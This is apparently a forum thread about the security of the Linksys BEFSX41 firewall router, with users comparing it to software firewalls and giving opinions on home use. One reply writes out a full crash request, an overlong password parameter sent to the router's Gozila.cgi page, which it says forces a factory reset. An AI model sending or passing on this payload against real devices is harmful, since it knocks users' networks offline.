Router/Firewall

[11001001]

Hey everyone-

My co-worker just picked up a
"Linksys: BEFSX41 - Instant Broadband™EtherFast®Cable/DSL Firewall Router "
and asked me about it.

I told him I have no experience with it, and I'd try and get some opinions of people who have had experience with it.

So, can anyone tell me about their experiences with this router/firewall?

Such as known vulnerabilities/exploits, what he needs to worry about, and if there really is a difference between this and a software router?

Thanks!

[chsh]

I should think Linksys' knowledgebase articles that apply to that model of modem would be a good place to start looking for vulnerabilities and technical issues.

[11001001]

Thanks for the link, chsh.

But I guess I wasn't clear. I was looking for some insight from people who've had practical experience with it, and what those experiences were.

[The3ntropy]

Here's some practical experience, try going here

http://192.168.1.1/Gozila.cgi?sysPasswd=AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&sysPasswdConfirm=AAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
&UPnP_Work=1&FactoryDefaults=0

when behind the linksys router. It will kill the router and require you to reset the firmware to the defaults by unplugging it and holding the reset button for five seconds.

My opinion on linksys routers, great for small home networks where security is not too important and there is not much at stake. If all that he does is browse the interenet and check his mail from two machines, this router will be fine.

[ss2chef]

Okay..

My personal experience is that Linksys offers cookie cutter home network quality product(s).
Its cheap and although not commercial quality in performance and features, will do the job. No QOS or true ACL worth speaking of.

Which software router were you speaking of? Most software based routers are PC HDD based which is not a great choice if reducing possible point if failures is an issue.

Passing specific vuln info is a nono to me but im sure a little research at the darker sites will net you some interesting info.

Anything in particular you are looking to learn about them? "Generally Speaking" types of questions are tough when trying to be pithy...

[11001001]

Thanks for your help everyone.

I'm not trying to be a pain in the ass, I've seen my fair share of them

I'm just trying to pacify his concerns. I told him that what he bought would be fine for his needs, but he wanted to hear more.

ss2chef - He was previously using ZoneAlarm, and was complaining that he was constantly getting communication notifications. This was one of the main reasons he went for a harware router.

[djscribble]

as far as basic functionality goes, the router works nicely for basic home users, it provides security at an affordable price. i have set 2 or 3 of these up for people, and they havn't had any problems as far as security issues goes since i put them in

[ss2chef]

ss2chef - He was previously using ZoneAlarm, and was complaining that he was constantly getting communication notifications. This was one of the main reasons he went for a harware router. [/B]

Cool...

You do mean firewall right?

When you say router I start thinking winroute pro or (holding breath) RRAS...

[Tiger Shark]

Tell your friend that I like them sufficiently for home users that it is mandated by policy in my company that any user requiring VPN access to the company network from a high speed network must have a Linksys, D-Link or whatever in place prior to to access being granted. I also insist they use the Cleaner, AdAware, Spybot and then install WinPatrol before the connection is granted and have CD's with the installation programs and instructions jsut for them to borrow.

It keeps the dross out......

[XTC46]

quite impressive tiger shark, sounds like you run a good network program there.